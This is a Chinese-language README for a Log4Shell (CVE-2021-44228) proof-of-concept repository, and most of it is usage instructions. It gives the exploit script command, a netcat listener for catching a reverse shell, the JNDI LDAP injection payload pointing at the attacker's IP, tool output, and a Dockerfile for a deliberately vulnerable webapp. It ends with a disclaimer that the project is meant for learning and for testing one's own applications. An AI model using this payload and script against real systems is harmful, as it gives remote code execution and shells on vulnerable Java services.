针对近期发现的 CVE-2021-44228 漏洞的概念验证。
最近,log4j 中发现了一个新漏洞。log4j 是一个 Java 日志库,广泛应用于 elasticsearch、minecraft 等众多软件中。
本仓库中包含一个存在漏洞的示例应用程序及其概念验证(POC)利用程序。
作为一个 PoC,仓库中有一个可自动完成此过程的 Python 文件。
pip install -r requirements.txt
nc -lvnp <netcat-port=example=2034>
jdk1.8.0_20,并与脚本位于同一目录。$ python3 poc.py --userip <your-ip-address> --webport <web-server-port=default=8000> --lport <netcat-listen-port=default=2034>
[!] CVE: CVE-2021-44228
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://<your-ip-address>:1389/a}
Listening on 0.0.0.0:1389
该脚本将为你设置 HTTP 服务器和 LDAP 服务器,并创建可用于粘贴到易受攻击参数中的 payload。之后,如果一切顺利,你应该能在 lport 上获得一个 shell。
这里有一个 Dockerfile,其中包含易受攻击的 webapp。你可以按以下步骤使用它:
1: docker build -t log4j-shell-poc .
2: docker run -p 8080:8080 log4j-shell-poc
运行后,你可以通过 localhost:8080 访问它。
注意: 你需要注册一个账户才能下载该软件包。
下载并解压归档后,你可以在 jdk1.8.0_20/bin 中找到 java 及相关二进制文件。
注意: 请确保将 jdk 文件夹以相同名称解压到本仓库中,以便其正常工作。
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
本仓库并非旨在成为 CVE-2021-44228 的一键漏洞利用工具。此项目的目的是帮助人们了解该漏洞,并可能测试他们自己的应用程序(不过有更好的应用可用于此目的,例如:https://log4shell.tools/)。